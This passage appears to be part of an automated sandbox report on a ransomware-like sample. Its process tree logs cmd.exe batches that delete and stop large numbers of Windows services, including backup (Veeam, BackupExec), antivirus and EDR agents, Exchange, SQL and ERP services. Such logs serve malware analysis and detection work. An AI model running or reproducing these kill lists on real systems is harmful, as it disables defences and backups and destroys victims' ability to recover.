asComSvc & @sc delete OfficeUpdateService & @sc delete RtcSrv & @sc delete RTCASMCU & @sc delete FTA & @sc delete MASTER & @sc delete NscAuthService & @sc delete MSCRMUnzipService & @sc delete MSCRMAsyncService$maintenance"7⤵PID:5676
-
C:\Windows\system32\sc.exesc delete "UWS LoPriv Services"8⤵PID:6332
-
-
C:\Windows\system32\sc.exesc delete ftnlsv38⤵PID:2384
-
-
C:\Windows\system32\sc.exesc delete ftnlses38⤵PID:5352
-
-
C:\Windows\system32\sc.exesc delete FxService8⤵
- Launches sc.exe
PID:5832
-
-
C:\Windows\system32\sc.exesc delete "UtilDev Web Server Pro"8⤵PID:5824
-
-
C:\Windows\system32\sc.exesc delete ftusbrdwks8⤵
- Launches sc.exe
PID:1100
-
-
C:\Windows\system32\sc.exesc delete ftusbrdsrv8⤵PID:6236
-
-
C:\Windows\system32\sc.exesc delete "ZTE USBIP Client Guard"8⤵
- Launches sc.exe
PID:5224
-
-
C:\Windows\system32\sc.exesc delete "ZTE USBIP Client"8⤵
- Launches sc.exe
PID:5844
-
-
C:\Windows\system32\sc.exesc delete "ZTE FileTranS"8⤵PID:6956
-
-
C:\Windows\system32\sc.exesc delete wwbizsrv8⤵PID:6456
-
-
C:\Windows\system32\sc.exesc delete qemu-ga8⤵PID:6092
-
-
C:\Windows\system32\sc.exesc delete AlibabaProtect8⤵PID:5952
-
-
C:\Windows\system32\sc.exesc delete ZTEVdservice8⤵
- Launches sc.exe
PID:4292
-
-
C:\Windows\system32\sc.exesc delete kbasesrv8⤵PID:5948
-
-
C:\Windows\system32\sc.exesc delete MMRHookService8⤵PID:1988
-
-
C:\Windows\system32\sc.exesc delete OracleJobSchedulerORCL8⤵PID:6608
-
-
C:\Windows\system32\sc.exesc delete IpOverUsbSvc8⤵PID:3464
-
-
C:\Windows\system32\sc.exesc delete MsDtsServer1008⤵PID:6968
-
-
C:\Windows\system32\sc.exesc delete KuaiYunTools8⤵
- Launches sc.exe
PID:1392
-
-
C:\Windows\system32\sc.exesc delete KMSELDI8⤵
- Launches sc.exe
PID:6252
-
-
C:\Windows\system32\sc.exesc delete btPanel8⤵
- Launches sc.exe
PID:5996
-
-
C:\Windows\system32\sc.exesc delete Protect_2345Explorer8⤵PID:5272
-
-
C:\Windows\system32\sc.exesc delete 2345PicSvc8⤵
- Launches sc.exe
PID:1860
-
-
C:\Windows\system32\sc.exesc delete vmware-converter-agent8⤵PID:6468
-
-
C:\Windows\system32\sc.exesc delete vmware-converter-server8⤵PID:5024
-
-
C:\Windows\system32\sc.exesc delete vmware-converter-worker8⤵PID:2400
-
-
C:\Windows\system32\sc.exesc delete QQCertificateService8⤵
- Launches sc.exe
PID:6824
-
-
C:\Windows\system32\sc.exesc delete OracleRemExecService8⤵PID:5724
-
-
C:\Windows\system32\sc.exesc delete GPSDaemon8⤵PID:3768
-
-
C:\Windows\system32\sc.exesc delete GPSUserSvr8⤵PID:6432
-
-
C:\Windows\system32\sc.exesc delete GPSDownSvr8⤵PID:228
-
-
C:\Windows\system32\sc.exesc delete GPSStorageSvr8⤵PID:1692
-
-
C:\Windows\system32\sc.exesc delete GPSDataProcSvr8⤵PID:7052
-
-
C:\Windows\system32\sc.exesc delete GPSGatewaySvr8⤵PID:1112
-
-
C:\Windows\system32\sc.exesc delete GPSMediaSvr8⤵
- Launches sc.exe
PID:5748
-
-
C:\Windows\system32\sc.exesc delete GPSLoginSvr8⤵PID:2548
-
-
C:\Windows\system32\sc.exesc delete GPSTomcat68⤵PID:3132
-
-
C:\Windows\system32\sc.exesc delete GPSMysqld8⤵
- Launches sc.exe
PID:1856
-
-
C:\Windows\system32\sc.exesc delete GPSFtpd8⤵PID:6872
-
-
C:\Windows\system32\sc.exesc delete "Zabbix Agent"8⤵PID:4004
-
-
C:\Windows\system32\sc.exesc delete BackupExecAgentAccelerator8⤵
- Launches sc.exe
PID:2428
-
-
C:\Windows\system32\sc.exesc delete bedbg8⤵PID:6972
-
-
C:\Windows\system32\sc.exesc delete BackupExecDeviceMediaService8⤵PID:7632
-
-
C:\Windows\system32\sc.exesc delete BackupExecRPCService8⤵PID:7368
-
-
C:\Windows\system32\sc.exesc delete BackupExecAgentBrowser8⤵PID:6412
-
-
C:\Windows\system32\sc.exesc delete BackupExecJobEngine8⤵PID:5588
-
-
C:\Windows\system32\sc.exesc delete BackupExecManagementService8⤵PID:5300
-
-
C:\Windows\system32\sc.exesc delete MDM8⤵PID:5292
-
-
C:\Windows\system32\sc.exesc delete TxQBService8⤵PID:300
-
-
C:\Windows\system32\sc.exesc delete Gailun_Downloader8⤵
- Launches sc.exe
PID:3412
-
-
C:\Windows\system32\sc.exesc delete RemoteAssistService8⤵
- Launches sc.exe
PID:8036
-
-
C:\Windows\system32\sc.exesc delete YunService8⤵PID:3212
-
-
C:\Windows\system32\sc.exesc delete Serv-U8⤵PID:6480
-
-
C:\Windows\system32\sc.exesc delete "EasyFZS Server"8⤵
- Launches sc.exe
PID:7072
-
-
C:\Windows\system32\sc.exesc delete "Rpc Monitor"8⤵
- Launches sc.exe
PID:4356
-
-
C:\Windows\system32\sc.exesc delete OpenFastAssist8⤵PID:5468
-
-
C:\Windows\system32\sc.exesc delete "Nuo Update Monitor"8⤵PID:5568
-
-
C:\Windows\system32\sc.exesc delete "Daemon Service"8⤵PID:6468
-
-
C:\Windows\system32\sc.exesc delete asComSvc8⤵
- Launches sc.exe
PID:7632
-
-
C:\Windows\system32\sc.exesc delete OfficeUpdateService8⤵PID:8756
-
-
C:\Windows\system32\sc.exesc delete RtcSrv8⤵PID:9352
-
-
C:\Windows\system32\sc.exesc delete RTCASMCU8⤵PID:8408
-
-
C:\Windows\system32\sc.exesc delete FTA8⤵
- Launches sc.exe
PID:756
-
-
C:\Windows\system32\sc.exesc delete MASTER8⤵PID:5044
-
-
C:\Windows\system32\sc.exesc delete NscAuthService8⤵
- Launches sc.exe
PID:8428
-
-
C:\Windows\system32\sc.exesc delete MSCRMUnzipService8⤵PID:7012
-
-
C:\Windows\system32\sc.exesc delete MSCRMAsyncService$maintenance8⤵
- Launches sc.exe
PID:6336
-
-
-
C:\Windows\system32\cmd.execmd /c "@color b & sc delete MSCRMAsyncService & @sc delete REPLICA & @sc delete RTCATS & @sc delete RTCAVMCU & @sc delete RtcQms & @sc delete RTCMEETINGMCU & @sc delete RTCIMMCU & @sc delete RTCDATAMCU & @sc delete RTCCDR & @sc delete ProjectEventService16 & @sc delete ProjectQueueService16 & @sc delete SPAdminV4 & @sc delete SPSearchHostController & @sc delete SPTimerV4 & @sc delete SPTraceV4 & @sc delete OSearch16 & @sc delete ProjectCalcService16 & @sc delete c2wts & @sc delete AppFabricCachingService & @sc delete ADWS & @sc delete MotionBoard57 & @sc delete MotionBoardRCService57 & @sc delete vsvnjobsvc & @sc delete VisualSVNServer & @sc delete "FlexNet Licensing Service 64" & @sc delete BestSyncSvc & @sc delete LPManager & @sc delete MediatekRegistryWriter & @sc delete RaAutoInstSrv_RT2870 & @sc delete CobianBackup10 & @sc delete SQLANYs_sem5 & @sc delete CASLicenceServer & @sc delete SQLService & @sc delete semwebsrv & @sc delete TbossSystem & @sc delete ErpEnvSvc & @sc delete Mysoft.Autoupgrade.DispatchService & @sc delete Mysoft.Autoupgrade.UpdateService & @sc delete Mysoft.Config.WindowsService & @sc delete Mysoft.DataCenterService & @sc delete Mysoft.SchedulingService & @sc delete Mysoft.Setup.InstallService & @sc delete MysoftUpdate & @sc delete edr_monitor & @sc delete abs_deployer & @sc delete savsvc & @sc delete ShareBoxMonitorService & @sc delete ShareBoxService & @sc delete CloudExchangeService & @sc delete "U8WorkerService2" & @sc delete CIS & @sc delete EASService & @sc delete KICkSvr & @sc delete "OSP Service" & @sc delete U8SmsSrv & @sc delete OfficeClearCache & @sc delete TurboCRM70 & @sc delete U8DispatchService & @sc delete U8EISService & @sc delete U8EncryptService & @sc delete U8GCService & @sc delete U8KeyManagePool & @sc delete "U8MPool" & @sc delete U8SCMPool & @sc delete U8SLReportService & @sc delete U8TaskService & @sc delete "U8WebPool" & @sc delete UFAllNet & @sc delete UFReportService & @sc delete UTUService & @sc delete "U8WorkerService1""7⤵PID:6080
-
C:\Windows\system32\sc.exesc delete MSCRMAsyncService8⤵PID:5332
-
-
C:\Windows\system32\sc.exesc delete REPLICA8⤵
- Launches sc.exe
PID:4736
-
-
C:\Windows\system32\sc.exesc delete RTCATS8⤵PID:2032
-
-
C:\Windows\system32\sc.exesc delete RTCAVMCU8⤵PID:6468
-
-
C:\Windows\system32\sc.exesc delete RtcQms8⤵PID:5628
-
-
C:\Windows\system32\sc.exesc delete RTCMEETINGMCU8⤵PID:6288
-
-
C:\Windows\system32\sc.exesc delete RTCIMMCU8⤵PID:4556
-
-
C:\Windows\system32\sc.exesc delete RTCDATAMCU8⤵
- Launches sc.exe
PID:5488
-
-
C:\Windows\system32\sc.exesc delete RTCCDR8⤵PID:6072
-
-
C:\Windows\system32\sc.exesc delete ProjectEventService168⤵PID:7084
-
-
C:\Windows\system32\sc.exesc delete ProjectQueueService168⤵PID:5272
-
-
C:\Windows\system32\sc.exesc delete SPAdminV48⤵
- Launches sc.exe
PID:6644
-
-
C:\Windows\system32\sc.exesc delete SPSearchHostController8⤵PID:6348
-
-
C:\Windows\system32\sc.exesc delete SPTimerV48⤵
- Launches sc.exe
PID:5664
-
-
C:\Windows\system32\sc.exesc delete SPTraceV48⤵PID:6104
-
-
C:\Windows\system32\sc.exesc delete OSearch168⤵
- Launches sc.exe
PID:5572
-
-
C:\Windows\system32\sc.exesc delete ProjectCalcService168⤵
- Launches sc.exe
PID:1892
-
-
C:\Windows\system32\sc.exesc delete c2wts8⤵PID:2516
-
-
C:\Windows\system32\sc.exesc delete AppFabricCachingService8⤵PID:1392
-
-
C:\Windows\system32\sc.exesc delete ADWS8⤵PID:3240
-
-
C:\Windows\system32\sc.exesc delete MotionBoard578⤵
- Launches sc.exe
PID:8
-
-
C:\Windows\system32\sc.exesc delete MotionBoardRCService578⤵
- Launches sc.exe
PID:4232
-
-
C:\Windows\system32\sc.exesc delete vsvnjobsvc8⤵PID:3984
-
-
C:\Windows\system32\sc.exesc delete VisualSVNServer8⤵PID:4004
-
-
C:\Windows\system32\sc.exesc delete "FlexNet Licensing Service 64"8⤵
- Launches sc.exe
PID:4864
-
-
C:\Windows\system32\sc.exesc delete BestSyncSvc8⤵PID:6360
-
-
C:\Windows\system32\sc.exesc delete LPManager8⤵PID:2404
-
-
C:\Windows\system32\sc.exesc delete MediatekRegistryWriter8⤵PID:5604
-
-
C:\Windows\system32\sc.exesc delete RaAutoInstSrv_RT28708⤵PID:5384
-
-
C:\Windows\system32\sc.exesc delete CobianBackup108⤵PID:4348
-
-
C:\Windows\system32\sc.exesc delete SQLANYs_sem58⤵PID:1412
-
-
C:\Windows\system32\sc.exesc delete CASLicenceServer8⤵PID:464
-
-
C:\Windows\system32\sc.exesc delete SQLService8⤵PID:6536
-
-
C:\Windows\system32\sc.exesc delete semwebsrv8⤵
- Launches sc.exe
PID:3196
-
-
C:\Windows\system32\sc.exesc delete TbossSystem8⤵
- Launches sc.exe
PID:5876
-
-
C:\Windows\system32\sc.exesc delete ErpEnvSvc8⤵PID:3200
-
-
C:\Windows\system32\sc.exesc delete Mysoft.Autoupgrade.DispatchService8⤵PID:6568
-
-
C:\Windows\system32\sc.exesc delete Mysoft.Autoupgrade.UpdateService8⤵
- Launches sc.exe
PID:316
-
-
C:\Windows\system32\sc.exesc delete Mysoft.Config.WindowsService8⤵PID:2040
-
-
C:\Windows\system32\sc.exesc delete Mysoft.DataCenterService8⤵PID:6360
-
-
C:\Windows\system32\sc.exesc delete Mysoft.SchedulingService8⤵PID:8044
-
-
C:\Windows\system32\sc.exesc delete Mysoft.Setup.InstallService8⤵PID:5136
-
-
C:\Windows\system32\sc.exesc delete MysoftUpdate8⤵
- Launches sc.exe
PID:7232
-
-
C:\Windows\system32\sc.exesc delete edr_monitor8⤵PID:2360
-
-
C:\Windows\system32\sc.exesc delete abs_deployer8⤵
- Launches sc.exe
PID:1408
-
-
C:\Windows\system32\sc.exesc delete savsvc8⤵PID:7984
-
-
C:\Windows\system32\sc.exesc delete ShareBoxMonitorService8⤵PID:5568
-
-
C:\Windows\system32\sc.exesc delete ShareBoxService8⤵
- Launches sc.exe
PID:8084
-
-
C:\Windows\system32\sc.exesc delete CloudExchangeService8⤵PID:6764
-
-
C:\Windows\system32\sc.exesc delete "U8WorkerService2"8⤵PID:7568
-
-
C:\Windows\system32\sc.exesc delete CIS8⤵
- Launches sc.exe
PID:6864
-
-
C:\Windows\system32\sc.exesc delete EASService8⤵PID:6240
-
-
C:\Windows\system32\sc.exesc delete KICkSvr8⤵PID:8136
-
-
C:\Windows\system32\sc.exesc delete "OSP Service"8⤵PID:5712
-
-
C:\Windows\system32\sc.exesc delete U8SmsSrv8⤵PID:2256
-
-
C:\Windows\system32\sc.exesc delete OfficeClearCache8⤵PID:2280
-
-
C:\Windows\system32\sc.exesc delete TurboCRM708⤵
- Launches sc.exe
PID:5732
-
-
C:\Windows\system32\sc.exesc delete U8DispatchService8⤵PID:7500
-
-
C:\Windows\system32\sc.exesc delete U8EISService8⤵PID:6796
-
-
C:\Windows\system32\sc.exesc delete U8EncryptService8⤵
- Launches sc.exe
PID:7308
-
-
C:\Windows\system32\sc.exesc delete U8GCService8⤵PID:4384
-
-
C:\Windows\system32\sc.exesc delete U8KeyManagePool8⤵PID:7756
-
-
C:\Windows\system32\sc.exesc delete "U8MPool"8⤵PID:8516
-
-
C:\Windows\system32\sc.exesc delete U8SCMPool8⤵PID:8496
-
-
C:\Windows\system32\sc.exesc delete U8SLReportService8⤵PID:6324
-
-
C:\Windows\system32\sc.exesc delete U8TaskService8⤵
- Launches sc.exe
PID:3332
-
-
C:\Windows\system32\sc.exesc delete "U8WebPool"8⤵PID:8276
-
-
C:\Windows\system32\sc.exesc delete UFAllNet8⤵
- Launches sc.exe
PID:6084
-
-
C:\Windows\system32\sc.exesc delete UFReportService8⤵PID:9108
-
-
C:\Windows\system32\sc.exesc delete UTUService8⤵PID:8348
-
-
C:\Windows\system32\sc.exesc delete "U8WorkerService1"8⤵PID:7972
-
-
-
C:\Windows\system32\cmd.execmd /c "color a & @net stop U8WorkerService1 & @net stop U8WorkerService2 & @net stop "memcached Server" & @net stop Apache2.4 & @net stop UFIDAWebService & @net stop MSComplianceAudit & @net stop MSExchangeADTopology & @net stop MSExchangeAntispamUpdate & @net stop MSExchangeCompliance & @net stop MSExchangeDagMgmt & @net stop MSExchangeDelivery & @net stop MSExchangeDiagnostics & @net stop MSExchangeEdgeSync & @net stop MSExchangeFastSearch & @net stop MSExchangeFrontEndTransport & @net stop MSExchangeHM & @net stop MSSQL$SQL2008 & @net stop MSExchangeHMRecovery & @net stop MSExchangeImap4 & @net stop MSExchangeIMAP4BE & @net stop MSExchangeIS & @net stop MSExchangeMailboxAssistants & @net stop MSExchangeMailboxReplication & @net stop MSExchangeNotificationsBroker & @net stop MSExchangePop3 & @net stop MSExchangePOP3BE & @net stop MSExchangeRepl & @net stop MSExchangeRPC & @net stop MSExchangeServiceHost & @net stop MSExchangeSubmission & @net stop MSExchangeThrottling & @net stop MSExchangeTransport & @net stop MSExchangeTransportLogSearch & @net stop MSExchangeUM & @net stop MSExchangeUMCR & @net stop MySQL5_OA"7⤵PID:5796
-
C:\Windows\system32\net.exenet stop U8WorkerService18⤵PID:7112
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8WorkerService19⤵PID:5432
-
-
-
C:\Windows\system32\net.exenet stop U8WorkerService28⤵PID:3160
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop U8WorkerService29⤵PID:5932
-
-
-
C:\Windows\system32\net.exenet stop "memcached Server"8⤵PID:5444
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "memcached Server"9⤵PID:4728
-
-
-
C:\Windows\system32\net.exenet stop Apache2.48⤵PID:5804
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Apache2.49⤵PID:6552
-
-
-
C:\Windows\system32\net.exenet stop UFIDAWebService8⤵PID:5236
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop UFIDAWebService9⤵PID:5840
-
-
-
C:\Windows\system32\net.exenet stop MSComplianceAudit8⤵PID:3880
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSComplianceAudit9⤵PID:7072
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeADTopology8⤵PID:1968
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeADTopology9⤵PID:5780
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeAntispamUpdate8⤵PID:3192
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeAntispamUpdate9⤵PID:2632
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeCompliance8⤵PID:5740
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeCompliance9⤵PID:6752
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeDagMgmt8⤵PID:6252
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeDagMgmt9⤵PID:6824
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeDelivery8⤵PID:6280
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeDelivery9⤵PID:6096
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeDiagnostics8⤵PID:1336
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeDiagnostics9⤵PID:936
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeEdgeSync8⤵PID:6332
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeEdgeSync9⤵PID:2736
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeFastSearch8⤵PID:5332
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeFastSearch9⤵PID:2284
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeFrontEndTransport8⤵PID:5256
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeFrontEndTransport9⤵PID:2280
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeHM8⤵PID:6972
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeHM9⤵PID:5376
-
-
-
C:\Windows\system32\net.exenet stop MSSQL$SQL20088⤵PID:4264
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSSQL$SQL20089⤵PID:6224
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeHMRecovery8⤵PID:5248
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeHMRecovery9⤵PID:6772
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeImap48⤵PID:4384
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeImap49⤵PID:4348
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeIMAP4BE8⤵PID:6240
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeIMAP4BE9⤵PID:304
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeIS8⤵PID:1984
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeIS9⤵PID:3360
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeMailboxAssistants8⤵PID:8008
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeMailboxAssistants9⤵PID:7368
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeMailboxReplication8⤵PID:7928
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeMailboxReplication9⤵PID:5628
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeNotificationsBroker8⤵PID:7248
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeNotificationsBroker9⤵PID:3820
-
-
-
C:\Windows\system32\net.exenet stop MSExchangePop38⤵PID:5812
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangePop39⤵PID:6016
-
-
-
C:\Windows\system32\net.exenet stop MSExchangePOP3BE8⤵PID:9244
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangePOP3BE9⤵PID:6888
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeRepl8⤵PID:7380
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeRepl9⤵PID:7776
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeRPC8⤵PID:8768
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeRPC9⤵PID:10124
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeServiceHost8⤵PID:8548
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeServiceHost9⤵PID:9012
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeSubmission8⤵PID:8420
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeSubmission9⤵PID:9856
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeThrottling8⤵PID:8884
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeThrottling9⤵PID:8104
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeTransport8⤵PID:7504
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeTransport9⤵PID:6500
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeTransportLogSearch8⤵PID:10228
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeTransportLogSearch9⤵PID:6580
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeUM8⤵PID:2424
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeUM9⤵PID:5312
-
-
-
C:\Windows\system32\net.exenet stop MSExchangeUMCR8⤵PID:2404
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MSExchangeUMCR9⤵PID:7788
-
-
-
C:\Windows\system32\net.exenet stop MySQL5_OA8⤵PID:8556
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MySQL5_OA9⤵PID:9468
-
-
-
-
C:\Windows\system32\cmd.execmd /c "color a & @net stop HaoZipSvc & @net stop "igfxCUIService2.0.0.0" & @net stop Realtek11nSU & @net stop xenlite & @net stop XenSvc & @net stop Apache2.2 & @net stop "Synology Drive VSS Service x64" & @net stop DellDRLogSvc & @net stop FirebirdGuardianDeafaultInstance & @net stop JWEM3DBAUTORun & @net stop JWRinfoClientService & @net stop JWService & @net stop Service2 & @net stop RapidRecoveryAgent & @net stop FirebirdServerDefaultInstance & @net stop AdobeARMservice & @net stop VeeamCatalogSvc & @net stop VeeanBackupSvc & @net stop VeeamTransportSvc & @net stop TPlusStdAppService1300 & @net stop TPlusStdTaskService1300 & @net stop TPlusStdUpgradeService1300 & @net stop TPlusStdWebService1300 & @net stop VeeamNFSSvc & @net stop VeeamDeploySvc & @net stop VeeamCloudSvc & @net stop VeeamMountSvc & @net stop VeeamBrokerSvc & @net stop VeeamDistributionSvc & @net stop tmlisten & @net stop ServiceMid & @net stop 360EntPGSvc & @net stop ClickToRunSvc & @net stop RavTask & @net stop AngelOfDeath & @net stop d_safe & @net stop NFLicenceServer & @net stop "NetVault Process Manager" & @net stop RavService & @net stop DFServ & @net stop IngressMgr & @net stop EvtSys & @net stop K3ClouManager & @net stop NFVPrintServer & @net stop RTCAVMCU & @net stop CobianBackup10 & @net stop GNWebService & @net stop Mysoft.SchedulingService & @net stop AgentX & @net stop SentinelKeysServer & @net stop DGPNPSEV & @net stop TurboCRM70 & @net stop NFSysService & @net stop U8DispatchService & @net stop NFOTPService & @net stop U8EISService & @net stop U8EncryptService & @net stop U8GCService & @net stop U8KeyManagePool & @net stop U8MPool & @net stop U8SCMPool & @net stop U8SLReportService & @net stop U8TaskService & @net stop U8WebPool & @net stop UFAllNet & @net stop UFReportService & @net stop UTUService"7⤵PID:6004
-
C:\Windows\system32\net.exenet stop HaoZipSvc8⤵PID:5580
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop HaoZipSvc9⤵PID:5208
-
-
-
C:\Windows\system32\net.exenet stop "igfxCUIService2.0.0.0"8⤵PID:5772
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "igfxCUIService2.0.0.0"9⤵PID:1988
-
-
-
C:\Windows\system32\net.exenet stop Realtek11nSU8⤵PID:3792
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Realtek11nSU9⤵PID:6608
-
-
-
C:\Windows\system32\net.exenet stop xenlite8⤵PID:5024
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop xenlite9⤵PID:3364
-
-
-
C:\Windows\system32\net.exenet stop XenSvc8⤵PID:6824
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop XenSvc9⤵PID:6708
-
-
-
C:\Windows\system32\net.exenet stop Apache2.28⤵PID:6976
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Apache2.29⤵PID:6924
-
-
-
C:\Windows\system32\net.exenet stop "Synology Drive VSS Service x64"8⤵PID:3064
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "Synology Drive VSS Service x64"9⤵PID:1468
-
-
-
C:\Windows\system32\net.exenet stop DellDRLogSvc8⤵PID:6128
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop DellDRLogSvc9⤵PID:6404
-
-
-
C:\Windows\system32\net.exenet stop FirebirdGuardianDeafaultInstance8⤵PID:4580
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop FirebirdGuardianDeafaultInstance9⤵PID:3164
-
-
-
C:\Windows\system32\net.exenet stop JWEM3DBAUTORun8⤵PID:6712
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop JWEM3DBAUTORun9⤵PID:6808
-
-
-
C:\Windows\system32\net.exenet stop JWRinfoClientService8⤵PID:4360
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop JWRinfoClientService9⤵PID:1336
-
-
-
C:\Windows\system32\net.exenet stop JWService8⤵PID:2284
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop JWService9⤵PID:5932
-
-
-
C:\Windows\system32\net.exenet stop Service28⤵PID:6156
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop Service29⤵PID:1100
-
-
-
C:\Windows\system32\net.exenet stop RapidRecoveryAgent8⤵PID:3628
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop RapidRecoveryAgent9⤵PID:3612
-
-
-
C:\Windows\system32\net.exenet stop FirebirdServerDefaultInstance8⤵PID:6724
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop FirebirdServerDefaultInstance9⤵PID:1812
-
-
-
C:\Windows\system32\net.exenet stop AdobeARMservice8⤵PID:3780
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AdobeARMservice9⤵PID:6396
-
-
-
C:\Windows\system32\net.exenet stop VeeamCatalogSvc8⤵PID:2424
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamCatalogSvc9⤵PID:4360
-
-
-
C:\Windows\system32\net.exenet stop VeeanBackupSvc8⤵PID:6908
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeanBackupSvc9⤵PID:2956
-
-
-
C:\Windows\system32\net.exenet stop VeeamTransportSvc8⤵PID:2812
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc9⤵PID:5388
-
-
-
C:\Windows\system32\net.exenet stop TPlusStdAppService13008⤵PID:5016
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TPlusStdAppService13009⤵PID:5952
-
-
-
C:\Windows\system32\net.exenet stop TPlusStdTaskService13008⤵PID:6632
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TPlusStdTaskService13009⤵PID:5820
-
-
-
C:\Windows\system32\net.exenet stop TPlusStdUpgradeService13008⤵PID:4648
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TPlusStdUpgradeService13009⤵PID:6472
-
-
-
C:\Windows\system32\net.exenet stop TPlusStdWebService13008⤵PID:936
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop TPlusStdWebService13009⤵PID:5612
-
-
-
C:\Windows\system32\net.exenet stop VeeamNFSSvc8⤵PID:7008
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc9⤵PID:5556
-
-
-
C:\Windows\system32\net.exenet stop VeeamDeploySvc8⤵PID:5364
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamDeploySvc9⤵PID:4792
-
-
-
C:\Windows\system32\net.exenet stop VeeamCloudSvc8⤵PID:7952
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamCloudSvc9⤵PID:1112
-
-
-
C:\Windows\system32\net.exenet stop VeeamMountSvc8⤵PID:7760
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamMountSvc9⤵PID:6000
-
-
-
C:\Windows\system32\net.exenet stop VeeamBrokerSvc8⤵PID:6208
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamBrokerSvc9⤵PID:8148
-
-
-
C:\Windows\system32\net.exenet stop VeeamDistributionSvc8⤵PID:2900
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamDistributionSvc9⤵PID:7420
-
-
-
C:\Windows\system32\net.exenet stop tmlisten8⤵PID:5228
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop tmlisten9⤵PID:9660
-
-
-
C:\Windows\system32\net.exenet stop ServiceMid8⤵PID:8732
-
